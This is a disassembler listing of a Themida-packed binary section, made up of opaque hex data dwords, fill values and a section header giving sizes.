		dd 9FE96530h, 86192DD6h, 12E9h,	96E20D00h, 0ACBC2AA2h
		dd 4E436640h, 0CE6E66B5h, 52BA19A9h, 0A1CEE281h, 0F592071h
		dd 8060CAB7h, 890FC7D0h, 4, 1954B966h, 0FBDB561h, 2084h
		dd 1A880F00h, 0E8000000h, 14h, 3ACC9162h, 0BE62FAA0h, 33DB7313h
		dd 965BD74Ah, 0E266F1A9h, 8870F59h, 0F000000h, 289h, 66FA8A00h
		dd 0D084F181h, 0ED2A1B9h, 0C3A7BA5Bh, 11E87664h, 55000000h
		dd 34E372C7h, 1A0B9CABh, 0AD510C01h, 0B03FF6CCh, 5815D780h
		dd 48E0Fh, 0B5510000h, 0E86058C3h, 0Bh,	8997E74Ch, 7BC8CA3Ch
		dd 668E179Dh, 0A6A5EA81h, 0C1BE6659h, 60F96166h, 12E8h
		dd 1DDE9300h, 0B652650Bh, 34B2C1CEh, 0CCEC4FB8h, 0E8A98C07h
		dd 0Eh,	0C302D359h, 363D97BBh, 918A7CB0h, 585FBAA4h, 1850Fh
		dd 61F80000h, 2820Fh, 59560000h, 0B966F78Bh, 0E960FBAEh
		dd 0Eh,	16B7BA17h, 0A18A2C1Fh, 0B46EAC22h, 0E9535287h
		dd 6, 0D48F01EFh, 615A76E5h, 58E0Fh, 81660000h,	0BEE1FDD0h
		dd 74F372D1h, 7E8h, 0A2D8C500h,	0CA611DCCh, 10E9h, 0DD5CF600h
		dd 0E49939BBh, 5B3B06E5h, 45FE770Ah, 0E8605ADAh, 8, 13389AC3h
		dd 0FE193505h, 8B0Fh, 60580000h, 0DE8h,	1F0DA800h, 0CB883B5Dh
		dd 1D41B2DCh, 0E85A9B44h, 13h, 2F65C611h, 0BB2E650Fh, 0A4E1CD10h
		dd 0FBBF098Ah, 5E79D7F8h, 0B6B96161h, 0F1FCC95h, 287h
		dd 0FE6B000h, 38Eh, 0D1B70F00h,	7E9h, 20A19800h, 1CB91509h
		dd 7E9h, 0F851200h, 79A96E5Bh, 0A41F39BAh, 9F99BB24h, 0F88B70D0h
		dd 0E8FCFB8Bh, 6, 4A2B4047h, 0D981285Fh, 4EFA95E5h, 89DB815Fh
		dd 0E857A61Bh, 14h, 3EED1340h, 4BD80435h, 0ACDC0DBFh, 34C35560h
		dd 2FE4FB4Bh, 800Fh, 805B0000h,	0D881AFF1h, 7ABBED8Bh
		dd 5890Fh, 81660000h, 664708F1h, 820FF18Bh, 3, 66FABF0Fh
		dd 0F365D381h, 860FF5h,	0B8000000h, 3D840463h, 270FBA66h
		dd 128A0Fh, 0DE90000h, 0AF000000h, 5019EFF9h, 0DA5F2C62h
		dd 0D7087073h, 1820F60h, 0F9000000h, 69EB8166h,	0AE96103h
		dd 5000000h, 0F1E276E7h, 0EADCA3E9h, 0B70FFCDCh, 0B86653CAh
		dd 8B5941F8h, 3860FDFh,	0F000000h, 860FF8BFh, 6, 8E0Fh
		dd 14E90000h, 0D1000000h, 0ADC59948h, 0C32B5778h, 2942A032h
		dd 5CDD6FD4h, 0F372752h, 800FDAB7h, 2, 0BE9CA8Bh, 0EF000000h
		dd 9CC805ACh, 327FB976h, 0BF0FADA4h, 23CA81FAh,	0B1752526h
		dd 38C0F2Bh, 80000000h,	810F4BC6h, 0
		dd 8B86DB81h, 0B9662D95h, 6057F8C3h, 0DE9h, 1D5EB100h
		dd 0F80B2A8Bh, 77D4F147h, 49B3BA18h, 0BF0F5B61h, 0CBB70FCAh
		dd 52DE8160h, 0F42635Bh, 686h, 0B3C68100h, 611DE30Eh, 53D6E980h
		dd 57CF8B5Bh, 0A079DF81h, 53586D11h, 6E959h, 0CF770000h
		dd 0F7FE9983h, 9E9h, 3B7E5300h,	0B7524C93h, 8E8AEBEh, 13000000h
		dd 0DC483E36h, 0E86E6199h, 0Eh,	1F6C1A3Ch, 0F1080A22h
		dd 6F4817B7h, 0DDB741C1h, 0FF95F5Bh, 586h, 4E42BA00h, 5E87D63h
		dd 0C5000000h, 0CE0C480Eh, 0B259D78Bh, 0F6816629h, 0B70F8517h
		dd 8E9FAh, 3E990000h, 0CE2D9DC9h, 890F8E2Eh, 5,	0C7DA8056h
		dd 0EE95Fh, 0AB970000h,	2DA4B251h, 68E7872Fh, 440D978Bh
		dd 0D38B6660h, 61C6BF0Fh, 66D6CE80h, 0DB81D78Bh, 6FBE960h
		dd 0DE7EBF60h, 0DE8605Ch, 0FA000000h, 0F5960F8Ah, 5DDF4726h
		dd 970D107Bh, 6E9h, 98911600h, 589C34B6h, 0AE961h, 86A90000h
		dd 0F331C625h, 65D7C4E7h, 14E956h, 0AAAD0000h, 0ACAECF6Ch
		dd 4892FEBAh, 5C51CD80h, 27CC0C06h, 665A49C1h, 107CE981h
		dd 25D68166h, 0CDD8B8B8h, 0FF51ECEh, 586h, 0DA816600h
		dd 8B668210h, 0F6B70FCAh, 0DAB70FFCh, 90C657B8h, 8ADA8B71h
		dd 0F08A51E7h, 0D881665Eh, 75B2E093h, 0DA8B6660h, 0FC38B60h
		dd 84h,	0F616100h, 1980h, 14E900h, 0BA800000h, 0CFBB5B6Ah
		dd 386A9907h, 52A4A9C3h, 0B8B7C3Fh, 5B579FBBh, 0C8BF0F53h
		dd 4890F5Bh, 66000000h,	0F660ABBh, 0B70FC1B7h, 12E9F8C0h
		dd 0F2000000h, 48722AE0h, 8CDE20E0h, 84E8CD6h, 594DDB55h
		dd 0FE9F87Fh, 0
		dd 6A8BDD6Ch, 8FAF0E62h, 0E71EC012h, 0B866EC89h, 0D3815540h
		dd 3C0732BAh, 9EABADBBh, 0C78B6631h, 61CF8B60h,	0B840Fh
		dd 800F0000h, 5, 0B7D78166h, 0CB8160A7h, 3BE2CF33h, 9E9h
		dd 0C7960100h, 0C65EB8BDh, 51619E64h, 0FCF38166h, 8B665B6Ah
		dd 0A6B866FBh, 0BAB966A9h, 55BA6631h, 0B8B966B3h, 8E0F602Fh
		dd 2, 6CB8CA8Bh, 6110D0B1h, 53B5BB66h, 88D0Fh, 850F0000h
		dd 2, 8E95E51h,	0CC000000h, 0FDE3F1FCh,	0E99BFE55h, 0Ch
		dd 471274B3h, 1AC5F48Bh, 408C77Bh, 66F7B70Fh, 0F8BBD88Bh
		dd 8A7D8A32h, 4CEF81CBh, 81540F53h, 0F20B7DC2h,	57605011h
		dd 0CABF0F5Eh, 8B0F5961h, 10h, 0BE9h, 0E7A49C00h, 283321FFh
		dd 813C2E0Ch, 0B8B0Fh, 5E80000h, 3E000000h, 6978EFD2h
		dd 0E9616058h, 6, 96E90A2Dh, 0FE9AC1Fh,	75000000h, 9BBE9AF1h
		dd 1316E334h, 0B2C4A46Bh, 0BE66DB79h, 0E58ACEA7h, 13E92FB7h
		dd 0F6000000h, 38F3F449h, 62F659D2h, 979B6F22h,	4BAFCA1Dh
		dd 0B060D334h, 13E9CFh,	42580000h, 0E5063731h, 55F710h
		dd 97C62341h, 5595C29Eh, 8E0F61A6h, 1, 0CF8166F5h, 8E0F497Bh
		dd 8, 2880Fh, 0F3B50000h, 2860F60h, 50000000h, 8B666158h
		dd 0D0BF0FFBh, 8166C28Bh, 665E6CC2h, 720FF381h,	59E8C2BAh
		dd 0E9E6B10Eh, 0Dh, 0FFF853CEh,	23E896C8h, 1A6BD9DFh, 0FEB70FE1h
		dd 0BCEA57BEh, 0FE8B665Fh, 0FA44D881h, 870F10C0h, 4, 8B41BB66h
		dd 38E0Fh, 8B660000h, 9E960C2h,	4F000000h, 173A7D58h, 993D2055h
		dd 0FE9h, 998E2600h, 5C92AA93h,	0F2B8E199h, 0E64707EDh
		dd 0FE961h, 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h
		dd 0D7816695h, 10B53AEFh, 66D2BF0Fh, 66FEF8BBh,	0D981D68Bh
		dd 68C33402h, 66CF8AF9h, 820FF18Bh, 17h, 12E9h,	0FF56900h
		dd 9C11D44Bh, 0DCB05669h, 0D8085B61h, 8B37A58Fh, 548B9F8h
		dd 0BE601E40h, 1A294774h, 59EF8166h, 0D68B61DCh, 0EED88160h
		dd 6109437Ch, 0C88FA9BFh, 158A0F64h, 0E9000000h, 10h, 4CD976FCh
		dd 31D20030h, 0F284DDA7h, 2776EC1h, 13E9h, 0C8A54600h
		dd 0AFBC1B3Ch, 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 0F5EF956h
		dd 87h,	11E95700h, 0E000000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh
		dd 0F21B4A1Fh, 63B9665Ah, 0C38B6654h, 6880Fh, 0D9810000h
		dd 2EC9A15Eh, 6E8E8B6h,	0C4000000h, 1FDF3999h, 14E9607Fh
		dd 0
		dd 33A958ABh, 0D19EC490h, 38437879h, 0A22B3882h, 8008F7EDh
		dd 596150D6h, 1860Fh, 66FC0000h, 0BF0FF88Bh, 60D78BCBh
		dd 0D2B70FF8h, 27D88061h, 0FCDA8B66h, 0CE8h, 0DE320900h
		dd 9259F66Eh, 0F62A3C69h, 12E93Dh, 853E0000h, 8637B1E3h
		dd 1EDA602Bh, 0DA786A59h, 0FD526206h, 0D18B6658h, 3890Fh
		dd 8B660000h, 86CB81CBh, 0BB528914h, 3E2B51EFh,	2800F57h
		dd 0B0000000h, 0D1815EBDh, 5AE78EFFh, 61CE8B60h, 8157DA8Bh
		dd 66B77AEBh, 0EE8581Ah, 70000000h, 0D8F8A6EEh,	9A05965Fh
		dd 419F8AEAh, 0C18B66C0h, 0A6D6815Fh, 606EE5E1h, 4850Fh
		dd 0B8660000h, 6061C043h, 0B5F224BAh, 8A60611Ch, 870FE6h
		dd 61000000h, 61DA8166h, 71BE6664h, 0FE68AFEh, 68Ch, 800F00h
		dd 0F000000h, 0BF66F7BFh, 816696B8h, 666810CFh,	1A59D381h
		dd 0D8D0FF5h, 60000000h, 8A0Fh,	0CCBF0000h, 61379168h
		dd 8700F181h, 666011E3h, 0D8B0DF81h, 0BC31CB81h, 60617066h
		dd 66C0BF0Fh, 0F561D98Bh, 0D850E081h, 890F4195h, 1, 6BD480F9h
		dd 4850Fh, 0BF660000h, 0C58007C7h, 0F08166B2h, 870FAF43h
		dd 8, 2890Fh, 0C18B0000h, 0C8B0Fh, 810F0000h, 6, 0C5BAE081h
		dd 0C081497Ch, 26758FE1h, 9E8h,	89441B00h, 0B525BFF3h
		dd 0E95B3D0Bh, 9, 0B8FE20C0h, 5989BA69h, 9E933h, 49ED0000h
		dd 74716991h, 0F8002E68h, 5CB3B866h, 0FF8F88Bh,	583h, 0FAB0BB00h
		dd 81663D74h, 668C60E3h, 0BE9CE8Bh, 0E5000000h,	54332D20h
		dd 11BB35AFh, 13E88C99h, 0A1000000h, 0BA49A49Eh, 7F6A66E9h
		dd 0ABE7A0BDh, 75697D81h, 6B90D3Eh, 5975A285h, 16810F51h
		dd 0E9000000h, 11h, 2EBC8C8Ch, 0CF803AACh, 0AF3F7B72h
		dd 0AED53236h, 0FF859DAh, 118Bh, 0CE900h, 6D820000h, 256A44E6h
		dd 5EDB8F2h, 840F846Fh,	4, 0A715BB66h, 0FCD4DC80h, 6E9h
		dd 0D5639700h, 0F9980E95h, 0D8B966F8h, 0D9BF0F5Dh, 0E9F38B66h
		dd 0Ch,	7BC0D544h, 40CBAC55h, 91721D8Fh, 57AD41BAh, 6BC08028h
		dd 13E960h, 0C5D80000h,	0C0D07E66h, 69056FECh, 7443D4ADh
		dd 0D86677E2h, 0AE80Dh,	0E8180000h, 0EE720825h,	4874610h
		dd 6158C38Bh, 6E9D78Bh,	5D000000h, 0A43AD8EDh, 0EE8F835h
		dd 82000000h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 11E96075h
		dd 0D2000000h, 283D6975h, 0E60869E6h, 9E7C0449h, 0FAEB4399h
		dd 10E8h, 0F0F99600h, 52AE580h,	0B34B6CE6h, 5EB25388h
		dd 58615ED8h, 8A61F560h, 0D28166ECh, 0CB8A48Ch,	0F764721h
		dd 0B89h, 6E900h, 0DBFF0000h, 4B6F92AFh, 76DEC881h, 0BF662018h
		dd 0DE80901h, 69000000h, 508C00AAh, 0E34AF79Fh,	97554CCCh
		dd 78BBEF81h, 0B85873C9h, 56C74554h, 814BEF80h,	0DA6147E9h
		dd 0FAF8BF2Dh, 8166674Ah, 66C360F0h, 327ADA81h,	0C181B0B1h
		dd 52A253AFh, 0A204E081h, 0C1810E95h, 5D7E473Dh, 80F9FB8Bh
		dd 0F5273C3h, 380h, 0FABF0F00h,	38F0F5Ah, 66000000h, 0DE8C88Bh
		dd 4E000000h, 257249CCh, 4B24910Ah, 5B52C88Bh, 628B84BEh
		dd 0BE505B27h, 2D09160h, 6E95Bh, 0CBFD0000h, 8D8008B3h
		dd 3830Fh, 8B660000h, 13E9CEh, 0F68C0000h, 0D8D066FFh
		dd 150F5FC7h, 82C5ACAFh, 43D6D03h, 8328B9A0h, 0BA66449Fh
		dd 0FE992B4h, 25000000h, 6D3ED502h, 0AFA788Ah, 0C12E0BF0h
		dd 13E8A192h, 9A000000h, 0C04D20C5h, 496F0043h,	0DD7A4203h
		dd 0EBECFC79h, 5AF5223Dh, 0A484F181h, 0BF0F3138h, 56E880C8h
		dd 3860Fh, 0DA800000h, 0EFBE661Bh, 0D4E48006h, 67F28166h
		dd 8B66F981h, 0DAB8BFC8h, 0DAB37CD9h, 13E9h, 9A7A8100h
		dd 0C53706E9h, 14ED81BBh, 698B8A5Eh, 0BF8F72FBh, 53DBB70Fh
		dd 0FE9h, 0DFE6B600h, 378D19A2h, 7A2EA2F2h, 13495F31h
		dd 0DE958h, 0E8FF0000h,	723B6FC2h, 576B54CFh, 66DD47C4h
		dd 0BF17C2BEh, 21986A80h, 0BE8h, 0C13CEE00h, 0A9F39310h
		dd 1E5E4074h, 0BE8h, 0A302F300h, 8163E3EFh, 0B0F705C5h
		dd 8B0Fh, 5E5E0000h, 0EFDB8166h, 0C7816677h, 14E84D08h
		dd 92000000h, 4095DF8Fh, 22A0D269h, 6B1D035h, 0BE6DEA4Fh
		dd 0F5EA584h, 0FC5BD1B7h, 5880Fh, 81660000h, 60825ED1h
		dd 66D0B70Fh, 613F95BFh, 0FBB70FFCh, 0BFF08B66h, 41943A5h
		dd 800Fh, 53510000h, 850Fh, 5F5F0000h, 6647F180h, 0F8E5CBFh
		dd 68Dh, 66D18100h, 0E9468EB0h,	0Fh, 1CA90BE1h,	0F4D7CD56h
		dd 7FB5B131h, 0E839D1DEh, 14h, 40ABA8F6h, 4DED302Fh, 0A506F7ABh
		dd 84CD8588h, 0E0D65862h, 850F52h, 5F000000h, 0BF0F605Ah
		dd 61CF81C3h, 614393AEh, 0C2B966F5h, 0EFF180C5h, 97E0B856h
		dd 0E85E431Ch, 6, 89DDCAFBh, 6E8B71Ah, 0A9000000h, 0C8BA6E5Ah
		dd 0F5A5E4Bh, 108Ch, 7E800h, 5B600000h,	1E30AAB9h, 0C9B70F57h
		dd 46DA815Fh, 8B08E6F8h, 820F51DEh, 6, 840Fh, 0E9580000h
		dd 9, 252D904h,	0C6A2DA8Ch, 389CBFB0h, 890F68FEh, 4, 0A7B3BF66h
		dd 10E9CF8Bh, 3B000000h, 9EA435DEh, 662C3B31h, 0C3D2537h
		dd 0BEA1672Dh, 1DD8F6AFh, 0F98BF5F9h, 0B70FD18Bh, 0EA7ABBFEh
		dd 0ED801140h, 0D0B70FC9h, 1CE28166h, 5BFC50B2h, 53C68B66h
		dd 0A46C29BEh, 0C68B5F1Dh, 0BF0F9AB1h, 8BFA8BD6h, 0C0C480FBh
		dd 0EE9h, 0A6E7B500h, 3D723117h, 0DD662223h, 0BB16CCCDh
		dd 73316DC9h, 3830Fh, 0DA800000h, 0FE977h, 9F3B0000h, 8E64B6C8h
		dd 5F335E2Fh, 0E1E94FDBh, 0EB805728h, 0EFBA5F6Fh, 0F68D0F7h
		dd 382h, 0F2B70F00h, 60E949BBh,	11E86Bh, 0BDDC0000h, 0D8BFB08Fh
		dd 0EC7A0B3Ch, 0DEC0D249h, 66120AACh, 8F51C781h, 0D7B9F85Eh
		dd 0E84E86DAh, 9, 6F11992Ch, 0B6329110h, 1870F6Eh, 0FC000000h
		dd 8B66535Fh, 0B70F59D9h, 0EE8C8h, 0AA170000h, 0AEFD322Eh
		dd 25AF0472h, 0BA878C65h, 0D08B6660h, 820Fh, 5B610000h
		dd 60C9BF0Fh, 5661E58Ah, 995A8BB8h, 0A0BB5969h,	5060F154h
		dd 34F159BBh, 81665B35h, 0E91CE4D1h, 13h, 4E067E24h, 0A564E322h
		dd 4899957Eh, 43643151h, 0F5B23C4h, 583h, 0EB816600h, 8B518FDAh
		dd 810F5FF7h, 5, 3CF18166h, 0A8C0FF1h, 0E9000000h, 5, 0D0DFA4D4h
		dd 19B866BBh, 0E08151AAh, 4D0C1F2Bh, 0F681665Bh, 0BA66CE3Dh
		dd 8B663ED4h, 11E9C1h, 629D0000h, 0B230CEB7h, 62A14A4Dh
		dd 0FAB37DD3h, 0B83609B3h, 654E4A49h, 0E556CF81h, 0B70F5698h
		dd 0D18166F1h, 0B70FB9BBh, 0E08166D1h, 0BF0F65E8h, 0E9F5F9DEh
		dd 0Bh,	2054D624h, 7BC34202h, 6667E60Eh, 0AAC9D381h, 838DE981h
		dd 0BF0F1E7Bh, 816060C9h, 8B9099C7h, 4F97BB45h,	0F61367Ah
		dd 0BB61C8BFh, 41E1BA06h, 158C0Fh, 10E90000h, 74000000h
		dd 0B43798Ah, 0E66E0E13h, 720D4DC7h, 0FDA2821h,	38Eh, 0F3B70F00h
		dd 4E6DE81h, 0BB661EC6h, 0BE95862h, 86000000h, 0ACDA5E64h
		dd 3937AAC6h, 0ACBA655Dh, 0B965C42Ah, 7A2F40C3h, 0F70E180h
		dd 108Bh, 0BE900h, 80150000h, 82D2E350h, 0F3D338DAh, 0BE969h
		dd 187D0000h, 0F69DE8A0h, 0F988298Eh, 0F88B6662h, 0BEC3B70Fh
		dd 17CBB5FAh, 0E8DF8B66h, 14h
		dd 0E76BC44Bh, 258030CCh, 32771E50h, 5760DEACh,	49584BE3h
		dd 0F5FF78Bh, 184h, 0B70FFC00h,	88BB66D2h, 0F88B60B6h
		dd 86C38166h, 0CE961FBh, 14000000h, 1D5EB118h, 0F80B2A8Bh
		dd 0B9D4F147h, 284994F5h, 68E0Fh, 0C9810000h, 420453AEh
		dd 0BE9h, 9CBEB500h, 322A20ACh,	0E7A33AA1h, 3890Fh, 0C2800000h
		dd 0F895B9BDh, 0B8665B78h, 8B66C6DDh, 1ABE66D1h, 0F88B6683h
		dd 0E9D0BF0Fh, 9, 9A4BB565h, 72EBFBF0h,	8AC68B1Fh, 3DB966C5h
		dd 0F98B605Ah, 0F61FB8Bh, 28Dh,	0E8F8B400h, 11h, 9E38DF3Ch
		dd 1D66E2FDh, 0B8E4F603h, 5596AF9Fh, 850F5BD9h,	0Ch, 6820Fh
		dd 880F0000h, 0
		dd 0FE9h, 9FE42B00h, 0E4D0C23Bh, 0AA2B60A2h, 0E781757Ah
		dd 11E9h, 288C7800h, 9FC8CE1Fh,	5E98A9FFh, 7E623A26h, 11E817B4h
		dd 0D2000000h, 7166CED5h, 0F5D3BAFBh, 0E9C431B1h, 245D9E98h
		dd 815FFB8Bh, 278E9DD3h, 0DBCE814Eh, 0BF76F468h, 460825FBh
		dd 0E85CF380h, 12h, 0F1D2C036h,	8DF75879h, 0A9D51FD5h
		dd 17FB6C76h, 0BF66C22Ch, 665E1ACEh, 41B5CF81h,	0CE76BF66h
		dd 168C0Fh, 11E90000h, 0C000000h, 0DF4B38A2h, 67319271h
		dd 0A797D5B5h, 0BE723893h, 8BC0B70Fh, 1445B8D8h, 0BF56250Dh
		dd 149F7F91h, 830F5658h, 0Eh, 9E9h, 0C31C2400h,	3629E42Dh
		dd 665B74C4h, 0F8C14DBBh, 12E8h, 9F482700h, 3864987Fh
		dd 0DF407B2Dh, 36A6545Ch, 0FEFC6ABh, 28Fh, 5F616000h, 9D9A34BBh
		dd 12C28054h, 6E9D38Bh,	70000000h, 691FB956h, 6DBE66C7h
		dd 6692B60Ah, 0DF44D781h, 11E8h, 0E162EF00h, 384C4173h
		dd 8E1B06C5h, 129E67B4h, 0F60B4F9h, 82h, 61616000h, 8B0FF85Bh
		dd 0Ah,	840F60h, 60000000h, 10E86161h, 12000000h, 9D05EBB4h
		dd 4F3929B1h, 0A75DF367h, 58470679h, 0FCC08166h, 0E95956EAh
		dd 0Ch,	0CD2E5F20h, 52C21D1Fh, 1798A89Dh, 0B8F0Fh, 66600000h
		dd 0B85260BAh, 3B793EA5h, 952CB861h, 840F43C6h,	5, 2281BCBEh
		dd 0E959B63Dh, 11h, 4682C654h, 0E51EFE1h, 2D29AD1Ch, 1DD64FA2h
		dd 12E973h, 76030000h, 1AFD46D6h, 0B7ED6243h, 0ADC39C23h
		dd 36AD23D6h, 0BF18166h, 0D0BF0FEBh, 0CFBF0F60h, 13E9h
		dd 4709E200h, 0A6D23F48h, 7923C2D4h, 62C5CC8Ah,	23ADFE0Fh
		dd 9E861h, 97CE0000h, 0AE9575D6h, 6620C59Ah, 6188D081h
		dd 57E28A5Ah, 6659D18Bh, 7BBFF381h, 4230BB66h, 589EB756h
		dd 6E9h, 9D904200h, 0F12E9EEh, 8Ch, 0BE900h, 0B1F60000h
		dd 0CD22884Ch, 834B9CEBh, 69BA6635h, 0F781F979h, 48C449A2h
		dd 8A0FC18Bh, 0
		dd 0AE9h, 0F5561400h, 0F8051CE6h, 66E0BEB1h, 890FC28Bh
		dd 6, 860Fh, 66600000h,	0E85514B9h, 0Ah, 316951D0h, 659FCEECh
		dd 61602BFEh, 24B9615Bh, 0F75EFCFh, 0C8Ah, 7E900h, 0BF0E0000h
		dd 2D8A596h, 0F5850CAh,	0D8Fh, 81666000h, 0F43DBF3h, 8Eh
		dd 8B666100h, 9E9DAh, 16010000h, 0C1A7F5F1h, 0E8972EC9h
		dd 13h,	0D605DA81h, 74B5240Bh, 0C6F35A0Ch, 1EEC61E7h, 66ED1B7Bh
		dd 0E95ECA8Bh, 0Ch, 0AE21C0FBh,	8CB45DAEh, 6BC2424h, 69B4E181h
		dd 0F60355Bh, 384h, 29C28000h, 606193B6h, 6661D180h, 58BDDA81h
		dd 0CE816661h, 14E94373h, 0CD000000h, 73029C6h,	0B5D03910h
		dd 0AB969D48h, 0CFCC3466h, 0E8BC208Eh, 9, 0A756E6CFh, 9FAD22A8h
		dd 0BF0F5F0Ah, 5E9F9h, 10250000h, 8014ECB7h, 0BF0FD4F5h
		dd 4860FC7h, 66000000h,	66B880BAh, 0E91314BEh, 9, 34891F19h
		dd 1A112A49h, 198D0FAFh, 0E9000000h, 14h, 0C9F0B87Fh, 0BF15DF0Fh
		dd 17C28017h, 72F442ADh, 78A99F22h, 6EBFC18Bh, 6610A042h
		dd 7323C681h, 8B665760h, 816659F3h, 612ADAEBh, 973A91BEh
		dd 0EE951h, 6FF30000h, 1BBB4702h, 904F8C2Dh, 0F69FC960h
		dd 0E861F280h, 6, 0A637D134h, 8A0F81E7h, 11h, 0CE9h, 9489BF00h
		dd 98192714h, 0AEF0A7AEh, 0F18B5E8Fh, 0B1C3F280h, 0C8BF0F94h
		dd 0CE9h, 260D3900h, 1BDAF7AFh,	63F59562h, 0CF8BFCF3h
		dd 0F099BE52h, 0B25A7E2Ah, 0B4BFB75Fh, 14E9C5h,	0C7870000h
		dd 0B7D9A354h, 64D857EFh, 40FD0478h, 4B5F6341h,	0E780A604h
		dd 0E93DB154h, 0Bh, 227F7D2h, 0C1164CFh, 51B7C0C1h, 6E9h
		dd 1E448A00h, 584DDE83h, 0BAF08B60h, 1E57774Bh,	4821B961h
		dd 0BF0F6835h, 10E857F9h, 4A000000h, 9966E6DFh,	0C4B5F43Bh
		dd 4EDD01ADh, 0E92A9E2Fh, 8, 5B7F58F1h,	6F54737Eh, 9E95B5Eh
		dd 17000000h, 0A2C1DEAFh, 0EEA3735Bh, 0D2816660h, 86B9CF22h
		dd 6147F7B9h, 0D88B6657h, 0F40CBF58h, 0BF0F6F92h, 0AE8F8h
		dd 6F450000h, 0F6286D44h, 0F73543A3h, 0F8D8BA66h, 8166605Eh
		dd 66E2F2F1h, 6661CE8Bh, 0F46BE081h, 8D0F38B1h,	5, 0C1F38166h
		dd 12E96Eh, 4C510000h, 6E74DF28h, 0E5E77AACh, 33FF6967h
		dd 56C488AEh, 0B8CFB70Fh, 70713734h, 0DFBF0F60h, 5890Fh
		dd 81660000h, 614D6DF7h, 0E959FC57h, 13h, 82908114h, 471E2020h
		dd 0C54D0F87h, 357C31D9h, 0F9C010Ah, 286h, 0E9F4B600h
		dd 0Bh,	0DA96EADEh, 7636BB74h, 0F96AC3A3h, 53B2B966h, 5152F9F9h
		dd 0AB9908B9h, 815F5856h, 0A4FA0BE6h, 5760FC46h, 8D0Fh
		dd 0FC580000h, 11E861h,	0D0450000h, 0A0161E21h,	54EFBE86h
		dd 2A6A8CBh, 510A9198h,	5E59FE8Bh, 0FF38B66h, 48Dh, 0FBBB6600h
		dd 0FCF98BADh, 0B3BB7EB8h, 8E870h, 0CDB60000h, 7C4183B7h
		dd 0E58046A5h, 76B85F00h, 6622F369h, 60107DB9h,	13E8h
		dd 41E7E600h, 36ED7B78h, 70937F60h, 0F7784DE8h,	84CFA2ADh
		dd 2CA4E181h, 0B15E13EAh, 0F38B61AAh, 5800Fh, 0BFBB0000h
		dd 80567AE1h, 0D18157EFh, 45AA473Bh, 3840Fh, 0B70F0000h
		dd 66F78AD3h, 0EEB7C88Bh, 0EB8166F9h, 850FB429h, 10h, 5E8h
		dd 0DAD1800h, 0C8BA9CD2h, 5914F378h, 0E9FA8B66h, 14h, 9A3C3924h
		dd 126E221Bh, 0DAC255A9h, 7F571CF8h, 5074B00h, 6652C78Bh
		dd 575AC18Bh, 0FE8h, 0D0B6500h,	0DC408270h, 2570E691h
		dd 2BCC080h, 810Fh, 5A5A0000h, 58E38A53h, 8BCA8B66h, 65E081CEh
		dd 5152FB3Eh, 0BE85FF5h, 0F3000000h, 0E2ECA5A2h, 534FE57Fh
		dd 60B9646Bh, 5E777041h, 10860Fh, 7E80000h, 46000000h
		dd 0DBF59D61h, 0F5804C2Dh, 8E0F5917h, 18h, 12870Fh, 0CE80000h
		dd 0F5000000h, 5529ADDh, 67A8921Eh, 5F6072F2h, 0D8DCE981h
		dd 840F34C8h, 0Fh, 0AE9h, 3F6DE500h, 0A6E2BDA1h, 0E9467E64h
		dd 0Ah,	8B9A8C42h, 0EE6F0FD9h, 0BF0F482Bh, 0F9B70FFFh
		dd 11E8h, 5E466900h, 5C6AC584h,	5FA19171h, 2D5FF539h, 87B7CA08h
		dd 0D1B70F5Fh, 8766B966h, 0FCD3B966h, 0E9D2B2FCh, 0Dh
		dd 41C83024h, 0C8E699DBh, 943FFAA7h, 13E86032h,	66000000h
		dd 3D4B26A1h, 0B39A6442h, 0F7A934A9h, 7CB6D0A4h, 7E92F50h
		dd 0CE000000h, 4A71A765h, 0FC5E09DDh, 66D18A61h, 0B553C78Bh
		dd 44B658C3h, 0E860CE8Ah, 11h, 939FCC64h, 0BAB06490h, 80A58E3Ah
		dd 0E998EA40h, 0AE814h,	0D2EC0000h, 0A6FE6645h,	5603BD08h
		dd 0EE95B5Fh, 0E9000000h, 0E00EAD2Bh, 28362576h, 0E5F9E599h
		dd 66606119h, 0E92480BBh, 11h, 610B39ADh, 0BB8444E8h, 4D01BD26h
		dd 15F54F97h, 10E9611Dh, 1C000000h, 13F0DC8h, 0D128A7Fh
		dd 0B7547B11h, 81CA5300h, 5A23B8D7h, 41D2813Fh,	0E93027ABh
		dd 0Eh,	0FCF7712Ah, 0EB421A72h,	8FEF3FBBh, 890FA852h, 0Dh
		dd 8F0F60h, 0B9000000h,	5DC753ACh, 0C68B6661h, 12E9DA8Bh
		dd 48000000h, 331D16C5h, 5BFDE144h, 8433DD64h, 89802478h
		dd 2ABEF587h, 0BB37E009h, 1C04105Eh, 0EE9h, 3CA71A00h
		dd 0B6DF9A48h, 2B610CB1h, 0E950B265h, 11h, 71F94985h, 185C8364h
		dd 19DDDA69h, 2DCBF7D6h, 0EE9FCh, 399B0000h, 0DCFD68B9h
		dd 1B7C2F3Ch, 8CB136FCh, 4D6D8BBBh, 73DA8007h, 15810Fh
		dd 9E80000h, 62000000h,	9DA7DB8h, 6DBF86Fh, 0C66EF181h
		dd 0E9584A0Ah, 12h, 45172A9Fh, 0B02CED69h, 0EC9401D2h
		dd 4CC4CEE3h, 0FE9A72Dh, 9A000000h, 1A8DC29h, 1A03E192h
		dd 554051C9h, 0BA6628A3h, 8B661DD5h, 8BFB8BD9h,	0AE9FEh
		dd 67D50000h, 7A2DB159h, 2CA9FBBEh, 0F966E980h,	0F9B7BB66h
		dd 1870BF66h, 10E9h, 0DFF24200h, 0B47B31DEh, 2B305DD2h
		dd 8540211Ah, 2803B875h, 0BA6601CAh, 890FDFCFh,	8, 28E0Fh
		dd 61600000h, 0DE995B5h, 0EB000000h, 88D5BCA9h,	15606CD5h
		dd 0F512825Ah, 20C88166h, 6660522Ah, 0D981D08Bh, 280E4E9Fh
		dd 931D5861h, 1A2h dup(931C0B33h)
dword_609068	dd 0BDh	dup(931C0B33h),	0E002ACC1h, 2AEh dup(0E002ACC0h)
					; DATA XREF: Themida_:00594E78o
		dd 9947ACC0h, 1A1h dup(99478F77h), 0B478F77h, 1E3h dup(0B41D791h)
		dd 0CE41D791h, 10Fh dup(0CE48860Eh), 42h dup(0B8109D80h)
		dd 44F33780h, 1C8h dup(44F33706h), 850h	dup(0CCCCCCCCh)
		dd 0CCCCh, 188h	dup(0)
Themida_	ends

; Section 5. (virtual address 0020E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
